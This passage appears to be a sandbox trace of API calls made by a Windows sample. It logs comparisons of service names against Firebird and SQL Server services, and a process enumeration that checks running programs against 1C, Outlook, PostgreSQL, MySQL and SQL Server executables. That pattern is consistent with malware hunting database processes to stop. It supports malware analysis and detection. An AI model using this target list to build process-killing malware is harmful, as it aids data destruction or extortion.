(lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0046.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0046.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0046.292] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0046.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0046.292] lstrlenW (lpString="SENS") returned 4 [0046.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0046.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0046.292] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0046.292] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0046.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0046.292] lstrlenW (lpString="ShellHWDetection") returned 16 [0046.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0046.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0046.293] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0046.293] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0046.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0046.293] lstrlenW (lpString="Spooler") returned 7 [0046.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0046.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0046.293] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0046.293] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0046.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0046.293] lstrlenW (lpString="swprv") returned 5 [0046.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0046.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0046.293] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0046.293] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0046.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0046.293] lstrlenW (lpString="SysMain") returned 7 [0046.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0046.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0046.293] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0046.293] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0046.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0046.293] lstrlenW (lpString="Themes") returned 6 [0046.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0046.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0046.293] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0046.293] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0046.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0046.293] lstrlenW (lpString="TrkWks") returned 6 [0046.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0046.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0046.293] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0046.293] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0046.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0046.294] lstrlenW (lpString="UxSms") returned 5 [0046.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0046.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0046.294] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0046.294] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0046.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0046.294] lstrlenW (lpString="VSS") returned 3 [0046.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0046.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0046.294] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0046.294] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0046.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0046.294] lstrlenW (lpString="WdiServiceHost") returned 14 [0046.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0046.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0046.294] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0046.294] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0046.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0046.294] lstrlenW (lpString="WdiSystemHost") returned 13 [0046.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0046.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0046.294] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0046.294] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0046.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0046.294] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0046.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0046.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0046.294] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0046.295] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0046.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0046.295] lstrlenW (lpString="Winmgmt") returned 7 [0046.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0046.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0046.295] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0046.295] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0046.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0046.295] lstrlenW (lpString="WPDBusEnum") returned 10 [0046.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0046.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0046.295] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0046.295] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0046.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0046.295] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63e068 | out: hHeap=0x5f0000) returned 1 [0046.295] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0046.298] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0046.298] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0046.299] lstrlenW (lpString="System") returned 6 [0046.299] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0046.299] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0046.299] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0046.299] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0046.299] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0046.299] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0046.300] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0046.300] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0046.300] lstrlenW (lpString="smss.exe") returned 8 [0046.300] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0046.300] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0046.300] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0046.300] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0046.300] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0046.300] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0046.300] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0046.300] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.301] lstrlenW (lpString="csrss.exe") returned 9 [0046.301] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0046.301] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0046.301] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0046.301] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0046.301] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0046.301] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0046.301] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0046.301] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0046.302] lstrlenW (lpString="wininit.exe") returned 11 [0046.302] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0046.302] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0046.302] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0046.302] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.303] lstrlenW (lpString="csrss.exe") returned 9 [0046.303] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0046.304] lstrlenW (lpString="winlogon.exe") returned 12 [0046.304] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0046.304] lstrlenW (lpString="services.exe") returned 12 [0046.304] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0046.305] lstrlenW (lpString="lsass.exe") returned 9 [0046.305] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0046.306] lstrlenW (lpString="lsm.exe") returned 7 [0046.306] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.306] lstrlenW (lpString="svchost.exe") returned 11 [0046.306] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.307] lstrlenW (lpString="svchost.exe") returned 11 [0046.307] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.308] lstrlenW (lpString="svchost.exe") returned 11 [0046.308] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.309] lstrlenW (lpString="svchost.exe") returned 11 [0046.309] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.309] lstrlenW (lpString="svchost.exe") returned 11 [0046.309] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0046.310] lstrlenW (lpString="audiodg.exe") returned 11 [0046.310] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.311] lstrlenW (lpString="svchost.exe") returned 11 [0046.311] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.311] lstrlenW (lpString="svchost.exe") returned 11 [0046.311] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0046.312] lstrlenW (lpString="dwm.exe") returned 7 [0046.312] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0046.313] lstrlenW (lpString="explorer.exe") returned 12 [0046.313] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0046.313] lstrlenW (lpString="spoolsv.exe") returned 11 [0046.313] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.314] lstrlenW (lpString="taskhost.exe") returned 12 [0046.314] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.315] lstrlenW (lpString="svchost.exe") returned 11 [0046.315] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0046.315] lstrlenW (lpString="taskeng.exe") returned 11 [0046.315] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.316] lstrlenW (lpString="taskhost.exe") returned 12 [0046.316] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0046.317] lstrlenW (lpString="obligations-breath.exe") returned 22 [0046.317] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0046.318] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0046.318] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0046.318] lstrlenW (lpString="achieving.exe") returned 13 [0046.318] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0046.319] lstrlenW (lpString="venice.exe") returned 10 [0046.319] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0046.320] lstrlenW (lpString="owns.exe") returned 8 [0046.320] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0046.320] lstrlenW (lpString="faster momentum.exe") returned 19 [0046.320] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0046.321] lstrlenW (lpString="vital_reasons.exe") returned 17 [0046.321] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0046.322] lstrlenW (lpString="everyone.exe") returned 12 [0046.322] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0046.323] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0046.323] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0046.323] lstrlenW (lpString="bored_excluded.exe") returned 18 [0046.324] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0046.324] lstrlenW (lpString="mothers.exe") returned 11 [0046.324] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0046.325] lstrlenW (lpString="career-fed.exe") returned 14 [0046.325] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0046.326] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0046.326] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0046.326] lstrlenW (lpString="initial_utilization.exe") returned 23 [0046.326] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0046.327] lstrlenW (lpString="cf-represent.exe") returned 16 [0046.327] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0046.328] lstrlenW (lpString="tue.exe") returned 7 [0046.328] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0046.328] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0046.328] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0046.329] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0046.329] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0046.330] lstrlenW (lpString="stuff_event.exe") returned 15 [0046.330] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0046.330] lstrlenW (lpString="keywords-copies.exe") returned 19 [0046.330] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0046.331] lstrlenW (lpString="lap.exe") returned 7 [0046.331] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0046.332] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0046.332] Process32NextW (in: 